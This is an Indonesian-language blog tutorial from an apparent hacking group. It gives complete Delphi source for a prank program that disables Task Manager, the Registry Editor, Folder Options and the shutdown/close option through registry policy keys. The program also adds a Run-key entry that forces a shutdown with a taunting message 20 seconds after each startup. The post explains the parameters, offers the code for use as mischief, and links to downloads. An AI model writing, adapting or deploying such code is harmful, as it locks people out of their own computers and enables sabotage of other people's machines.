Gw mo ikutan kasi tutor he9x……..
Tutor yang satu ini dibuat dengan Delphi…jadi minimal kalian udah terbiasa dengan IDE (Integrated Develovment Environment)
Begini ceritanya :
Secara garis besarnya kode program dibawah ini akan menshutdown secara otomatis computer saat startup ( ISENG-ISENG CHOY) ,itu disebabkan karena saat program ini dieksekusi,compiler akan langsung menulis key ('bunuh', 'C:\WINDOWS\system32\shutdown.exe -s -t 20 -c "hallo saya malaikat komputer..rasain loe"'); pada '\Software\Microsoft\Windows\CurrentVersion\Run' Didalam HKEY_CURRENT_USER di registry anda. –s merupakan perintah shutdown,nilai –t 20 adalah nilai waktu…berapa detik anda akan memberikan waktu untuk shutdown saat startup ……jadi anda tinggal merubah nilainya saja, dan –c adalah komentar…namun jika anda memberikan nilai 00 alangkah baiknya anda tidak perlu memberikan komentar.
Berikut Kode Program Selengkapnya selengkapnya :
unit x1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
procedure DisableTaskMgr(bTF: Boolean);
procedure DisableRegistryTools(bTF: Boolean);
procedure NoFolderOptions(bTF: Boolean);
procedure NoClose(bTF: Boolean);
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
uses Registry;
function BlockInput(fBlockInput: Boolean): longint; stdcall; external 'user32.DLL';
function FunctionDetect(LibName, FuncName: string; var LibPointer: Pointer): Boolean;
var
LibHandle: THandle;
begin
Result := False;
LibPointer := nil;
if LoadLibrary(PChar(LibName)) = 0 then Exit;
LibHandle := GetModuleHandle(PChar(LibName));
if LibHandle <> 0 then
begin
LibPointer := GetProcAddress(LibHandle, PChar(FuncName));
if LibPointer <> nil then Result := True;
end;
end;
procedure TForm1.DisableTaskMgr(bTF: Boolean);
var reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('System', True);
if bTF = True then
begin
reg.WriteString('DisableTaskMgr', '1');
end
else if bTF = False then
begin
reg.DeleteValue('DisableTaskMgr');
end;
reg.CloseKey;
end;
procedure TForm1.NoFolderOptions(bTF: Boolean);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('Explorer', True);
if bTF = True then
begin
reg.WriteString('NoFolderOptions','1');
end
else if bTF = False then
begin
reg.DeleteValue('NoFolderOptions');
end;
reg.CloseKey;
end;
procedure TForm1.NoClose(bTF: Boolean);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('Explorer', True);
if bTF = True then
begin
reg.WriteInteger('NoClose',1);
end
else if bTF = False then
begin
reg.DeleteValue('NoClose');
end;
reg.CloseKey;
end;
procedure TForm1.DisableRegistryTools(bTF: Boolean);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('System', True);
if bTF = True then
begin
reg.WriteInteger('DisableRegistryTools',1);
end
else if bTF = False then
begin
reg.DeleteValue('DisableRegistryTools');
end;
reg.CloseKey;
end;
procedure TForm1.FormCreate(Sender: TObject);
var xBlockInput: function (Block: BOOL): BOOL; stdcall;
begin
// disable
DisableTaskMgr(true);
DisableRegistryTools (true);
NoFolderOptions(true);
NoClose(true);
with TRegistry.Create do try
RootKey := HKEY_CURRENT_USER;
OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', True);
WriteString('bunuh', 'C:\WINDOWS\system32\shutdown.exe -s -t 20 -c "hallo saya malaikat komputer..rasain loe"');
CloseKey;
finally
Free;
application.Terminate;
end;
end.
download here
http://www.box.net/shared/saubq6y1t6
script here
http://www.box.net/shared/3xs4pi8pvd
Site : www.kendari-underground.blogspot.com
e-mail : kendari.underground@gmail.com
Thanks to Kendari_underground…….
Tutor by 1g3….:):):):)
0 komentar:
Post a Comment